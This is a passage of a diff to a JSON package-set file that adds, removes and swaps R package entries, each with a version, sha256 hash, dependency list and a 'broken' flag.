"RcppArmadillo", "hdi", "limSolve", "msm", "mvtnorm"], + "broken": true + }, "EBASS": { "name": "EBASS", "version": "0.1", @@ -136627,6 +136335,13 @@ "depends": ["MASS", "mvtnorm"], "broken": true }, + "EMMAgeo": { + "name": "EMMAgeo", + "version": "0.9.8", + "sha256": "1rcdqdy16x00fnry80rr6j6081p9zbkmhxxfv4k9izncagpm3gqk", + "depends": ["GPArotation", "caTools", "limSolve", "matrixStats", "shiny"], + "broken": true + }, "EMVS": { "name": "EMVS", "version": "1.2.1", @@ -136683,6 +136398,13 @@ "depends": ["DEoptim", "operators", "topmodel", "XML"], "broken": true }, + "EcoVirtual": { + "name": "EcoVirtual", + "version": "1.1", + "sha256": "1aryl2sb5ak390lgnm427ilm6xv9lmsjhwdnapzc033zvqb099gj", + "depends": [], + "broken": true + }, "EffectsRelBaseline": { "name": "EffectsRelBaseline", "version": "0.5", @@ -136711,6 +136433,13 @@ "depends": ["doParallel", "foreach", "lattice", "xts", "zoo"], "broken": true }, + "EncDNA": { + "name": "EncDNA", + "version": "1.0.2", + "sha256": "0wy2cmcvyqjhg5mqbvdzmihfv8swx7ym2n9mjdqgx0kgnc7k614y", + "depends": ["Biostrings"], + "broken": true + }, "EnsembleBase": { "name": "EnsembleBase", "version": "1.0.4", @@ -136767,6 +136496,20 @@ "depends": ["MASS"], "broken": true }, + "EpiILM": { + "name": "EpiILM", + "version": "1.5.2", + "sha256": "0drs4qywx9axs7k5qk7sp5r3g8pykn4lqqbm0hxyl24r6b5l3d6b", + "depends": ["LaplacesDemon", "adaptMCMC", "coda"], + "broken": true + }, + "EpiILMCT": { + "name": "EpiILMCT", + "version": "1.1.7", + "sha256": "1yjcjxf5m1qbb6p09g34wkr4q13g65ly11kxh95r22cdl85jmlq3", + "depends": ["coda", "igraph"], + "broken": true + }, "Eplot": { "name": "Eplot", "version": "1.0", @@ -136844,6 +136587,13 @@ "depends": ["crayon", "doParallel", "foreach", "ggplot2", "progress", "randomForest", "raster", "rstudioapi", "schemr"], "broken": true }, + "ExplainPrediction": { + "name": "ExplainPrediction", + "version": "1.3.0", + "sha256": "14m3b9fsrpfpr8avsnhl8b3bzk2xlhwgkwag5iq8bj7bzvv4yck1", + "depends": ["CORElearn", "semiArtificial"], + "broken": true + }, "ExprNet": { "name": "ExprNet", "version": "1.0.0", @@ -136991,6 +136741,13 @@ "depends": [], "broken": true }, + "FastSF": { + "name": "FastSF", + "version": "0.1.1", + "sha256": "1xajav45h57hchzkvl2pb4mz9xy433lq74jnry0icid8dai5xhwb", + "depends": ["Rcpp", "RcppArmadillo", "limSolve"], + "broken": true + }, "FcircSEC": { "name": "FcircSEC", "version": "1.0.0", @@ -137019,6 +136776,13 @@ "depends": [], "broken": true }, + "FinancialInstrument": { + "name": "FinancialInstrument", + "version": "1.3.1", + "sha256": "0f1zaclrcmpkdhcfc8a09f7lsf2b7gfyd7js3173qckn84a01f3w", + "depends": ["TTR", "quantmod", "xts", "zoo"], + "broken": true + }, "FindAllRoots": { "name": "FindAllRoots", "version": "1.0", @@ -137026,6 +136790,13 @@ "depends": [], "broken": true }, + "FindIt": { + "name": "FindIt", + "version": "1.2.0", + "sha256": "0zrvkvj907fw86jnzzlwk4d90hi42nq45jprp16xryxb7xxii6i8", + "depends": ["Matrix", "arm", "glinternet", "glmnet", "igraph", "lars", "limSolve", "lmtest", "quadprog", "sandwich"], + "broken": true + }, "FisHiCal": { "name": "FisHiCal", "version": "1.1", @@ -137068,6 +136839,13 @@ "depends": ["bsplus", "colourpicker", "dendextend", "DT", "FactoMineR", "ggdendro", "ggforce", "ggplot2", "gridExtra", "grImport2", "htmltools", "magrittr", "reshape2", "scales", "shiny", "shinydashboard", "shinyWidgets", "sisal"], "broken": true }, + "FluMoDL": { + "name": "FluMoDL", + "version": "0.0.3", + "sha256": "0vp3w6hpph6svz8940w9yk9c5iv4n9mj94f9si1ks0xjbi948rqd", + "depends": ["dlnm", "mvmeta", "tsModel"], + "broken": true + }, "FlywayNet": { "name": "FlywayNet", "version": "0.1.0", @@ -137082,6 +136860,13 @@ "depends": ["homals", "mvtnorm", "sampling"], "broken": true }, + "ForecastComb": { + "name": "ForecastComb", + "version": "1.3.1", + "sha256": "07cbiv172mpkwvg6svhwgavlfy2144ir3y1l7w37wbd0ygs514id", + "depends": ["Matrix", "forecast", "ggplot2", "mtsdi", "psych", "quadprog", "quantreg"], + "broken": true + }, "ForwardSearch": { "name": "ForwardSearch", "version": "1.0", @@ -137089,6 +136874,13 @@ "depends": ["robustbase"], "broken": true }, + "FunCC": { + "name": "FunCC", + "version": "1.0", + "sha256": "0n8fnrq3grsxxcz1841d3d643nyrwc7y15na1205zxq6rmdjx7wa", + "depends": ["RColorBrewer", "biclust", "ggplot2", "narray", "reshape"], + "broken": true + }, "FunCluster": { "name": "FunCluster", "version": "1.09", @@ -137201,6 +136993,20 @@ "depends": ["rgl", "tkrplot"], "broken": true }, + "GGMncv": { + "name": "GGMncv", + "version": "2.1.1", + "sha256": "0lih9dyb5aqrawhiy2vhv63b132hhzq6zq0x6rbrhy8kbkldhigr", + "depends": ["GGally", "MASS", "Rcpp", "RcppArmadillo", "Rdpack", "ggplot2", "glassoFast", "mathjaxr", "network", "numDeriv", "pbapply", "reshape", "sna"], + "broken": true + }, + "GGMnonreg": { + "name": "GGMnonreg", + "version": "1.0.0", + "sha256": "1bhqk172ddc7xq1hqj1i6q8np6jvmf2xypvd8kp3w1bcsafsbms8", + "depends": ["GGMncv", "GGally", "MASS", "Matrix", "Rdpack", "bestglm", "corpcor", "doParallel", "foreach", "ggplot2", "network", "poibin", "psych", "sna"], + "broken": true + }, "GLIDE": { "name": "GLIDE", "version": "1.0.5", @@ -137208,6 +137014,13 @@ "depends": ["MASS", "doParallel", "foreach"], "broken": true }, + "GLMMRR": { + "name": "GLMMRR", + "version": "0.5.0", + "sha256": "072zwi1rs6d84iszn09v5g19bkpla19nfqk4pq40ad8368zkbhcm", + "depends": ["RColorBrewer", "lattice", "lme4"], + "broken": true + }, "GMZTests": { "name": "GMZTests", "version": "0.1.4", @@ -137257,6 +137070,13 @@ "depends": ["switchr"], "broken": true }, + "GRIDCOPULA": { + "name": "GRIDCOPULA", + "version": "1.0.1", + "sha256": "0d8zibd27z0krn564ba906zlvnb1fx4mfvhpii7pxr0pzjir2a9c", + "depends": ["Rsolnp", "evmix", "fields", "ggplot2", "limSolve", "pracma", "reshape2"], + "broken": true + }, "GRPtests": { "name": "GRPtests", "version": "0.1.2", @@ -137418,6 +137238,13 @@ "depends": ["dplyr", "htmltools", "leaflet", "leafpop", "magrittr", "mapview", "profvis", "readr", "rgdal", "sp", "tibble"], "broken": true }, + "GeomComb": { + "name": "GeomComb", + "version": "1.0", + "sha256": "05xb6m2ciszxd13yhqdkildh9nsq19ss8885ngj6ynvbchqkii7r", + "depends": ["ForecastCombinations", "Matrix", "forecast", "ggplot2", "mtsdi", "psych"], + "broken": true + }, "GetR": { "name": "GetR", "version": "0.1", @@ -137481,13 +137308,6 @@ "depends": ["Matrix"], "broken": true }, - "GridOnClusters": { - "name": "GridOnClusters", - "version": "0.1.0.1", - "sha256": "1zanz8p5ghy7q7dsazv6wfkf5gl2dnbmchw88drbrip1h85gxyid", - "depends": ["Ckmeans_1d_dp", "Rcpp", "Rdpack", "cluster", "dqrng", "fossil", "mclust", "plotrix"], - "broken": true - }, "GuessCompx": { "name": "GuessCompx", "version": "1.0.3", @@ -137558,13 +137378,6 @@ "depends": ["Matrix", "Rcpp", "rtkore"], "broken": true }, - "HDSpatialScan": { - "name": "HDSpatialScan", - "version": "1.0.4", - "sha256": "1hwqdwr4jl887sgnjwq3gmxjhk6zz45nasvy3x7i7rmrqylxig60", - "depends": ["DT", "Rcpp", "RcppArmadillo", "SpatialNP", "TeachingDemos", "fmsb", "matrixStats", "pbapply", "plotrix", "purrr", "raster", "sf", "sp", "swfscMisc"], - "broken": true - }, "HDtest": { "name": "HDtest", "version": "2.1", @@ -137656,6 +137469,13 @@ "depends": ["data_table", "ggplot2", "ggpubr", "partitions", "reshape2", "tidyr", "zoo"], "broken": true }, + "HSDiC": { + "name": "HSDiC", + "version": "0.1", + "sha256": "0wiixb1ylx0l8qfgh5ark6alkdq87xaak1jlxizw1m589vghvqfp", + "depends": ["Matrix", "glmnet", "ncvreg", "quadprog"], + "broken": true + }, "HTSSIP": { "name": "HTSSIP", "version": "1.4.1", @@ -137684,6 +137504,13 @@ "depends": ["kerdiest", "pbapply", "reliaR", "rgenoud", "sets", "triangle"], "broken": true }, + "HaDeX": { + "name": "HaDeX", + "version": "1.2.2", + "sha256": "1qj6n03pd5kd5ff5h4v8wmnqxxylsxx1p6i88nahqkah2mzg9jdr", + "depends": ["DT", "data_table", "dplyr", "ggplot2", "gsubfn", "latex2exp", "readr", "readxl", "reshape2", "shiny", "stringr", "tidyr"], + "broken": true + }, "HadoopStreaming": { "name": "HadoopStreaming", "version": "0.2", @@ -137698,6 +137525,13 @@ "depends": [], "broken": true }, + "HeritSeq": { + "name": "HeritSeq", + "version": "1.0.2", + "sha256": "0jzf3pq43lllxvvmf0rqzxz9fx6931mgb0ipminlw1iakz8wa6w3", + "depends": ["DESeq2", "MASS", "SummarizedExperiment", "cplm", "lme4", "pbapply", "tweedie"], + "broken": true + }, "HiCfeat": { "name": "HiCfeat", "version": "1.4", @@ -137824,6 +137658,13 @@ "depends": [], "broken": true }, + "ICAOD": { + "name": "ICAOD", + "version": "1.0.1", + "sha256": "07fxh60vsndlvjijjsh1a9l2qkp78sb9nkg5x5mslh209lpjjhw1", + "depends": ["Rcpp", "RcppEigen", "cubature", "mnormt", "mvQuad", "nloptr", "sn"], + "broken": true + }, "ICBayes": { "name": "ICBayes", "version": "1.2", @@ -137894,6 +137735,13 @@ "depends": ["RankProd", "genefilter", "limma", "multtest", "siggenes"], "broken": true }, + "INSPIRE": { + "name": "INSPIRE", + "version": "1.5", + "sha256": "0938l50yxnb5q628mp874ayx9ybvcjddis20y1hzm5cmlsg0hqhg", + "depends": ["missMDA"], + "broken": true + }, "IOHexperimenter": { "name": "IOHexperimenter", "version": "0.1.4", @@ -137929,6 +137777,13 @@ "depends": ["coda", "lattice", "plyr", "R2admb"], "broken": true }, + "IRCcheck": { + "name": "IRCcheck", + "version": "1.0.0", + "sha256": "035sx36qf5hdnc51h8251qwxfm30r8h2v2qs2x161ip4cqghw019", + "depends": ["GGMncv", "MASS", "Rdpack", "corpcor", "glmnet"], + "broken": true + }, "IRSF": { "name": "IRSF", "version": "1.0.3", @@ -138055,6 +137910,13 @@ "depends": ["Biobase", "DescTools", "Rcpp", "cowplot", "ggplot2", "limSolve", "mgcv", "pheatmap", "reshape2"], "broken": true }, + "IntegratedMRF": { + "name": "IntegratedMRF", + "version": "1.1.9", + "sha256": "0kklgc48cib4bjfs9qbw13nkp8xyjdazrg6z15x69jylnxyakic7", + "depends": ["MultivariateRandomForest", "Rcpp", "bootstrap", "ggplot2", "limSolve"], + "broken": true + }, "Interact": { "name": "Interact", "version": "1.1", @@ -138083,6 +137945,13 @@ "depends": ["KernSmooth"], "broken": true }, + "IsoCheck": { + "name": "IsoCheck", + "version": "0.1.0", + "sha256": "06g0srp14yiha95mbmifaqf5yr5ppjnc20nyr237ah3l776mhsif", + "depends": ["dplyr", "gtools", "plyr"], + "broken": true + }, "IsoCorr": { "name": "IsoCorr", "version": "1.0", @@ -138272,6 +138141,13 @@ "depends": [], "broken": true }, + "LCAvarsel": { + "name": "LCAvarsel", + "version": "1.1", + "sha256": "0aqc9rbrc8n6s9xllmamby219qsnxd4ajvffjr21qlkhkaklirb1", + "depends": ["GA", "MASS", "doParallel", "foreach", "memoise", "nnet", "poLCA"], + "broken": true + }, "LCF": { "name": "LCF", "version": "1.7.0", @@ -138370,6 +138246,20 @@ "depends": ["BB", "Bolstad2", "moments", "optimx", "Rmpfr", "sn"], "broken": true }, + "LIM": { + "name": "LIM", + "version": "1.4.7.2", + "sha256": "0yik2k09cspnacvglhfbhv2ppx3v0lh827qyz5s4y7qb155z27a6", + "depends": ["diagram", "limSolve"], + "broken": true + }, + "LMest": { + "name": "LMest", + "version": "3.2.5", + "sha256": "0db9my1gvml2j625an7zivqavcbnishhpsi584d5z3qj7dm1lbb3", + "depends": ["Formula", "MASS", "MultiLCIRT", "diagram", "mclust", "mix", "mvtnorm", "scatterplot3d"], + "broken": true + }, "LOGANTree": { "name": "LOGANTree", "version": "0.1.1", @@ -138384,6 +138274,13 @@ "depends": ["nnet"], "broken": true }, + "LPS": { + "name": "LPS", + "version": "1.0.16", + "sha256": "192iz2gakrddqc4h1y4swj3m3dl03x9mvj3i1dl7jnj18dxik24n", + "depends": [], + "broken": true + }, "LPStimeSeries": { "name": "LPStimeSeries", "version": "1.0-5", @@ -138468,6 +138365,20 @@ "depends": ["orthopolynom", "polynom"], "broken": true }, + "LavaCvxr": { + "name": "LavaCvxr", + "version": "1.0.2", + "sha256": "0gg14y8kngj3r4p4bl3ddnm9dxlklxhvnra5bmbjp1kmjhlg52rn", + "depends": ["CVXR", "Lavash", "pracma"], + "broken": true + }, + "Lavash": { + "name": "Lavash", + "version": "1.0", + "sha256": "0cjl8crk0rdkyzp069fk4k0sapcjmqm3q40z5mgl0i1n59kn4s07", + "depends": ["MASS", "glmnet", "pracma"], + "broken": true + }, "LibOPF": { "name": "LibOPF", "version": "2.6.2", @@ -138482,6 +138393,20 @@ "depends": [], "broken": true }, + "LifeTables": { + "name": "LifeTables", + "version": "1.0", + "sha256": "1dyivvi5cjsnbhncj3arkrndadg7v81nzdf6p6mpgqwqvwn5li8x", + "depends": ["mclust"], + "broken": true + }, + "LightningR": { + "name": "LightningR", + "version": "1.0.2", + "sha256": "1va673aw2hgir8ybbjad6dhbs8izs1z4jcikwa7qp3mkv0zqd0vq", + "depends": ["R6", "RCurl", "RJSONIO", "httr"], + "broken": true + }, "LindleyR": { "name": "LindleyR", "version": "1.1.0", @@ -138594,6 +138519,13 @@ "depends": [], "broken": true }, + "MAVE": { + "name": "MAVE", + "version": "1.3.11", + "sha256": "01n204bxabbm8pcpayy2s0jvhg73r5cv0026lb3vbk0m40z02kcz", + "depends": ["Rcpp", "RcppArmadillo", "mda"], + "broken": true + }, "MAVTgsa": { "name": "MAVTgsa", "version": "1.3", @@ -138664,6 +138596,20 @@ "depends": [], "broken": true }, + "MDBED": { + "name": "MDBED", + "version": "1.0.0", + "sha256": "1r3sizb2mqd4pqjy25krwmsjfkr6cl7lkd8db5jn3hgxx3qh6sgc", + "depends": ["Rdpack", "doParallel", "foreach", "ggplot2", "lattice", "orthopolynom", "psych"], + "broken": true + }, + "MDplot": { + "name": "MDplot", + "version": "1.0.1", + "sha256": "1xijh18hrkb807nfkdr7g642aspn5psc8nw29q387jl5hly2w8s9", + "depends": ["MASS", "RColorBrewer", "gplots", "gtools"], + "broken": true + }, "MEDITS": { "name": "MEDITS", "version": "0.1.7", @@ -138692,6 +138638,13 @@ "depends": ["deldir", "depth", "depthTools", "fda_usc", "matrixStats"], "broken": true }, + "MGDrivE": { + "name": "MGDrivE", + "version": "1.6.0", + "sha256": "0ynn7iwxi5yfpjyrvfr6ym4ns7h8qfy8c10clab7i72pv90jqqlr", + "depends": ["R6", "Rcpp", "Rdpack"], + "broken": true + }, "MGRASTer": { "name": "MGRASTer", "version": "0.9", @@ -138769,6 +138722,20 @@ "depends": ["glasso", "MASS", "testthat", "trust"], "broken": true }, + "MLCIRTwithin": { + "name": "MLCIRTwithin", + "version": "2.1.1", + "sha256": "1x0xmka7kkbjnh3yv4zxxyl17cpmf0rb9hxmdl1srb6ijld4np1b", + "depends": ["MASS", "MultiLCIRT", "limSolve"], + "broken": true + }, + "MLCOPULA": { + "name": "MLCOPULA", + "version": "1.0.1", + "sha256": "0a2y84xajinmpryn0bizqy57fn7i3nwnw8kqjiw5bxprc1lc863h", + "depends": ["GRIDCOPULA", "TSP", "copula", "igraph", "kde1d", "pracma"], + "broken": true + }, "MLDAShiny": { "name": "MLDAShiny", "version": "0.1.0", @@ -138818,6 +138785,13 @@ "depends": ["ggplot2"], "broken": true }, + "MNLpred": { + "name": "MNLpred", + "version": "0.0.8", + "sha256": "0wb1a3d5s9hrv3sw8g1vyr9w9gmig4sdj3l339cv5cjfca75swns", + "depends": ["MASS"], + "broken": true + }, "MOCHA": { "name": "MOCHA", "version": "1.1.0", @@ -138888,6 +138862,13 @@ "depends": ["qtl"], "broken": true }, + "MPTmultiverse": { + "name": "MPTmultiverse", + "version": "0.4-2", + "sha256": "0fjfj8jk0dk1s3jc9rl9kza6gm5pm6dgsqyk0aq7pir2hrsr3qwy", + "depends": ["MPTinR", "TreeBUGS", "coda", "dplyr", "ggplot2", "limSolve", "magrittr", "purrr", "readr", "reshape2", "rlang", "runjags", "tibble", "tidyr"], + "broken": true + }, "MPkn": { "name": "MPkn", "version": "0.1.0", @@ -139035,6 +139016,13 @@ "depends": ["grr", "Matrix"], "broken": true }, + "MatrixLDA": { + "name": "MatrixLDA", + "version": "0.2", + "sha256": "0fixq35gp0fzmin75sfld2ln0zvnjgzrhk3b5yi7wdqzp99200yy", + "depends": ["Rcpp", "RcppArmadillo", "glasso", "plyr"], + "broken": true + }, "MedOr": { "name": "MedOr", "version": "0.1", @@ -139077,6 +139065,13 @@ "depends": ["astroFns", "lubridate", "plotrix", "pracma"], "broken": true }, + "MetGen": { + "name": "MetGen", + "version": "0.5", + "sha256": "00yzaicrpwfnxi5mdzwx1ai721vczkkf2yl50q9wwpxhmfx0xbbh", + "depends": ["MASS", "chron", "glmnet"], + "broken": true + }, "MetNorm": { "name": "MetNorm", "version": "0.1", @@ -139301,6 +139296,13 @@ "depends": ["MASS", "moments", "mvtnorm", "sde"], "broken": true }, + "MtreeRing": { + "name": "MtreeRing", + "version": "1.4.5", + "sha256": "1i6ljz950n9fpgci9b5777dg3b88ihhz8jvyw621hg218imswhxz", + "depends": ["bmp", "dplR", "dplyr", "imager", "jpeg", "magick", "magrittr", "measuRing", "png", "shiny", "shinyWidgets", "shinydashboard", "spatstat_geom", "tiff"], + "broken": true + }, "MuFiCokriging": { "name": "MuFiCokriging", "version": "1.2", @@ -139336,6 +139338,13 @@ "depends": ["matlab"], "broken": true }, + "MultiLCIRT": { + "name": "MultiLCIRT", + "version": "2.11", + "sha256": "1qls0qp5fz377h50lvpzq3vkw49i3nvizli98gss50nqci8ssqm4", + "depends": ["MASS", "limSolve"], + "broken": true + }, "MultiRR": { "name": "MultiRR", "version": "1.1", @@ -139448,6 +139457,13 @@ "depends": [], "broken": true }, + "NMRphasing": { + "name": "NMRphasing", + "version": "1.0.6", + "sha256": "1s71n8mwqw3fazcgvdisk9m1s25x033v1id80mvra78kpalw3vzg", + "depends": ["MassSpecWavelet", "baseline", "signal"], + "broken": true + }, "NMproject": { "name": "NMproject", "version": "0.6.9", @@ -139455,6 +139471,13 @@ "depends": ["crayon", "diffobj", "dplyr", "DT", "dygraphs", "git2r", "htmltools", "lifecycle", "magrittr", "miniUI", "rlang", "rmarkdown", "rprojroot", "rstudioapi", "shiny", "stringr", "tidyr", "usethis"], "broken": true }, + "NORMA": { + "name": "NORMA", + "version": "0.1", + "sha256": "193q6dwn8v7k8xq0amjpvb3v6mn7c6agqa487gvjj78dy1qz720a", + "depends": ["rootSolve"], + "broken": true + }, "NORMT3": { "name": "NORMT3", "version": "1.0.4", @@ -139553,6 +139576,13 @@ "depends": ["gmodels", "MASS", "mirt"], "broken": true }, + "NonNorMvtDist": { + "name": "NonNorMvtDist", + "version": "1.0.2", + "sha256": "11xqdrx03q3anavyxpzb0hz6mcbdy252rzzjlpa2byfdlrfvn178", + "depends": ["cubature"], + "broken": true + }, "NonlinearRDD": { "name": "NonlinearRDD", "version": "0.0.4", @@ -139588,6 +139618,27 @@ "depends": ["mathjaxr"], "broken": true }, + "ODB": { + "name": "ODB", + "version": "1.2.1", + "sha256": "0frkbl99ilpmppm4fm97lbkqhmjgcwlz9j5vh5nzzcsxrh8qwicn", + "depends": ["DBI", "RJDBC"], + "broken": true + }, + "ODEnetwork": { + "name": "ODEnetwork", + "version": "1.3.2", + "sha256": "0wicp0xxqq3jl0kjhc26iqpk8rwa9nv2aiwf18pkgnqxbyw6lgnp", + "depends": ["checkmate", "deSolve"], + "broken": true + }, + "ODEsensitivity": { + "name": "ODEsensitivity", + "version": "1.1.2", + "sha256": "0yddv5h3y0xfviqjgrbixawd00jc1rh9ngckfqka5j855vhchh66", + "depends": ["ODEnetwork", "checkmate", "deSolve", "sensitivity"], + "broken": true + }, "OData": { "name": "OData", "version": "0.6", @@ -139595,6 +139646,13 @@ "depends": ["RJSONIO", "XML"], "broken": true }, + "OEFPIL": { + "name": "OEFPIL", + "version": "0.1.1", + "sha256": "0gnbbz2spaqlqqn7978l15jv7xiqpfrh8k9girrpdqih02x95rfw", + "depends": ["Deriv", "MASS", "ggplot2", "matrixcalc", "minpack_lm", "plyr"], + "broken": true + }, "OHCSpackage": { "name": "OHCSpackage", "version": "0.1.5", @@ -139763,6 +139821,13 @@ "depends": ["BH", "Rcpp", "RcppEigen", "RcppNumerical"], "broken": true }, + "PACLasso": { + "name": "PACLasso", + "version": "1.0.0", + "sha256": "1qzzymhfsjy8mk0r0xpd5h4wrx4wk8gq3vi6fnawkq5xkrg26rld", + "depends": ["MASS", "lars", "limSolve", "penalized", "quadprog"], + "broken": true + }, "PAGI": { "name": "PAGI", "version": "1.0", @@ -139798,11 +139863,11 @@ "depends": ["Rcpp", "RcppArmadillo", "gtools"], "broken": true }, - "PAutilities": { - "name": "PAutilities", - "version": "1.1.0", - "sha256": "0qqxizq856wkx2x5g5pdnb4srh5xj0xyaljbk3i6nq5q41vrw5xk", - "depends": ["dplyr", "equivalence", "ggplot2", "lazyeval", "lubridate", "magrittr", "Rcpp", "reshape2", "rlang"], + "PAsso": { + "name": "PAsso", + "version": "0.1.10", + "sha256": "1qfwwgcra86x4469bqrv3jdm3vyvdiialfgfy184d1l5294pwv4x", + "depends": ["GGally", "MASS", "Rcpp", "VGAM", "copBasic", "copula", "dplyr", "foreach", "ggplot2", "gridExtra", "pcaPP", "plotly", "progress"], "broken": true }, "PBRF": { @@ -139826,11 +139891,11 @@ "depends": [], "broken": true }, - "PCRedux": { - "name": "PCRedux", - "version": "1.1-2", - "sha256": "1x3a4pdv54ppar9fjshk0avgpxvqsar4x7fgy9w0i76fgndr7qs5", - "depends": ["bcp", "changepoint", "chipPCR", "ecp", "fda_usc", "MBmca", "pbapply", "pracma", "qpcR", "robustbase", "segmented", "shiny", "zoo"], + "PCPS": { + "name": "PCPS", + "version": "1.0.7", + "sha256": "0gxymz0yws1q1bxkpxi0lmbv57xx62h3dl7z3i2cnbagswkax3zh", + "depends": ["RcppArmadillo", "SYNCSA", "ape", "nlme", "phylobase", "picante", "vegan"], "broken": true }, "PEACH": { @@ -139847,6 +139912,13 @@ "depends": [], "broken": true }, + "PHENIX": { + "name": "PHENIX", + "version": "1.3.1", + "sha256": "1gd9ycrwawi81al4f5v559km1112giwqnwvvk8ynj4kdb5bqpyq4", + "depends": ["SuppDists", "ppcor"], + "broken": true + }, "PIGShift": { "name": "PIGShift", "version": "1.0.1", @@ -140162,6 +140234,13 @@ "depends": ["ff"], "broken": true }, + "PortRisk": { + "name": "PortRisk", + "version": "1.1.0", + "sha256": "05yxqcv0cijy3s9zx68f9xy59jv55kmj3v0pz5pgl17j23kb9rlc", + "depends": ["MASS", "MCMCpack", "copula", "tseries", "zoo"], + "broken": true + }, "PortfolioEffectEstim": { "name": "PortfolioEffectEstim", "version": "1.4", @@ -140183,6 +140262,20 @@ "depends": ["Rcpp", "RcppArmadillo"], "broken": true }, + "PowerNormal": { + "name": "PowerNormal", + "version": "1.2.0", + "sha256": "1kryqcjvgwk0l4z3gqxdiz47mha3jw5583jlb9z7ml6v7cam06sm", + "depends": [], + "broken": true + }, + "PredCRG": { + "name": "PredCRG", + "version": "1.0.2", + "sha256": "0z84p8l2q66rapb9lhx8m8iadz3q989q5qkvcp8ylv80cz6qkibx", + "depends": ["Biostrings", "Peptides", "e1071", "kernlab", "protr"], + "broken": true + }, "PredictiveRegression": { "name": "PredictiveRegression", "version": "0.1-4", @@ -140190,6 +140283,13 @@ "depends": [], "broken": true }, + "PrevMap": { + "name": "PrevMap", + "version": "1.5.4", + "sha256": "12cw4dmbsnx9c4y5l5k0paqn1wwbxy9ciw46r254n5rd275fhksh", + "depends": ["Matrix", "lme4", "maxLik", "numDeriv", "pdist", "raster", "splancs", "truncnorm"], + "broken": true + }, "PriorCD": { "name": "PriorCD", "version": "0.1.0", @@ -140218,6 +140318,13 @@ "depends": ["BH", "mvtnorm", "purrr", "Rcpp", "RcppEigen", "RcppParallel", "Rdpack", "StanHeaders"], "broken": true }, + "ProfoundData": { + "name": "ProfoundData", + "version": "0.2.1", + "sha256": "1zqg821pv3i5nf76s7yppnmy13y14pj0l7rjhk50wlxrxdb53ibz", + "depends": ["DBI", "RNetCDF", "RSQLite", "settings", "sqldf", "zoo"], + "broken": true + }, "PropensitySub": { "name": "PropensitySub", "version": "0.2.0", @@ -140246,6 +140353,13 @@ "depends": ["R_utils", "rmeta"], "broken": true }, + "PupilPre": { + "name": "PupilPre", + "version": "0.6.2", + "sha256": "123m1zqld0jl26vqz41iic7vxzyfs1aw8zi5ki2cy6wzw9ss87m6", + "depends": ["VWPre", "dplyr", "ggplot2", "mgcv", "rlang", "robustbase", "shiny", "signal", "tidyr", "zoo"], + "broken": true + }, "PurBayes": { "name": "PurBayes", "version": "1.3", @@ -140288,6 +140402,13 @@ "depends": [], "broken": true }, + "QRegVCM": { + "name": "QRegVCM", + "version": "1.2", + "sha256": "0fcydkf6r2qxd59ylr8vn76bkxks91v58gfzvq3rjd5mqf9vsaaq", + "depends": ["SparseM", "quantreg", "truncSP"], + "broken": true + }, "Qardl": { "name": "Qardl", "version": "0.1.1", @@ -140337,6 +140458,13 @@ "depends": ["gdsfmt", "SNPRelate"], "broken": true }, + "R_temis": { + "name": "R.temis", + "version": "0.1.3", + "sha256": "1qa381fv1hxd1fv9d22772aibiia6m2ycm69znjy3ah2w986hjfh", + "depends": ["FactoMineR", "NLP", "SnowballC", "crayon", "explor", "igraph", "slam", "stringi", "testthat", "tm", "tm_plugin_alceste", "tm_plugin_europresse", "tm_plugin_factiva", "tm_plugin_lexisnexis", "wordcloud"], + "broken": true + }, "R2019nCoV": { "name": "R2019nCoV", "version": "0.1.0", @@ -140358,6 +140486,13 @@ "depends": ["sysfonts"], "broken": true }, + "R2ucare": { + "name": "R2ucare", + "version": "1.0.2", + "sha256": "0940c9zw3fifs7m4hrx9aqv4d56q3263bl12lzk2mx2sfjp9rzlw", + "depends": ["RMark", "stringr"], + "broken": true + }, "R330": { "name": "R330", "version": "1.0", @@ -140477,6 +140612,13 @@ "depends": [], "broken": true }, + "RDML": { + "name": "RDML", + "version": "1.0", + "sha256": "13ly1p42njbcygwvkyii8sjqbsywjy5w5g1kd7m8kswi5dsk3qqv", + "depends": ["R6", "checkmate", "data_table", "lubridate", "pipeR", "readxl", "rlist", "stringr", "xml2"], + "broken": true + }, "RDSTK": { "name": "RDSTK", "version": "1.1", @@ -140603,6 +140745,13 @@ "depends": ["Rcpp", "bit64", "data_table", "nanotime"], "broken": true }, + "RJcluster": { + "name": "RJcluster", + "version": "3.2.4", + "sha256": "157dmi5gksq7s16ip4n9j5bj9s9bawl078rh13s1xxyr6f51yp09", + "depends": ["Rcpp", "RcppArmadillo", "foreach", "infotheo", "matrixStats", "mclust", "profvis", "rlang"], + "broken": true + }, "RKEELjars": { "name": "RKEELjars", "version": "1.0.20", @@ -140617,6 +140766,13 @@ "depends": ["msm"], "broken": true }, + "RMBC": { + "name": "RMBC", + "version": "0.1.0", + "sha256": "1fqbr28d09j01rmr9gylzkpvrd6bc9rnjbyzv06hmlx5mmjmzkb4", + "depends": ["MASS", "ktaucenters", "mvtnorm"], + "broken": true + }, "RNAsmc": { "name": "RNAsmc", "version": "0.8.0", @@ -140645,13 +140801,6 @@ "depends": ["RCurl", "RJSONIO"], "broken": true }, - "ROCS": { - "name": "ROCS", - "version": "1.3", - "sha256": "11vdf8701ap6ya7c7kx9jhvg7qfc6vkij3jridna6f4xj384grki", - "depends": ["poibin", "rgl"], - "broken": true - }, "RODM": { "name": "RODM", "version": "1.1", @@ -140722,13 +140871,6 @@ "depends": ["gWidgets2", "gWidgets2RGtk2", "R2HTML", "RGtk2"], "broken": true }, - "RSDA": { - "name": "RSDA", - "version": "3.2.1", - "sha256": "10dx9ds7i738wydljkfw5jvggixsysbg2674hrw4z4lccgijjmrc", - "depends": ["FactoMineR", "RJSONIO", "XML", "dplyr", "e1071", "forcats", "gbm", "ggplot2", "ggpolypath", "ggrepel", "glmnet", "kknn", "magrittr", "neuralnet", "nloptr", "plotly", "princurve", "purrr", "randomForest", "randomcoloR", "reshape", "rlang", "rpart", "scales", "sqldf", "stringr", "tibble", "tidyselect", "umap", "vctrs", "xtable"], - "broken": true - }, "RSIP": { "name": "RSIP", "version": "1.0.0", @@ -140750,6 +140892,13 @@ "depends": ["arules", "Matrix"], "broken": true }, + "RSauceLabs": { + "name": "RSauceLabs", + "version": "0.1.6", + "sha256": "1p7hw6vnlg6w5ggmfpc3q3s6n1fikjkjnxzz97jifiy0zwn5dp9i", + "depends": ["data_table", "httr", "jsonlite", "whisker", "xml2"], + "broken": true + }, "RSeed": { "name": "RSeed", "version": "0.1.60", @@ -140883,6 +141032,13 @@ "depends": ["RCurl", "rjson"], "broken": true }, + "RZabbix": { + "name": "RZabbix", + "version": "0.1.0", + "sha256": 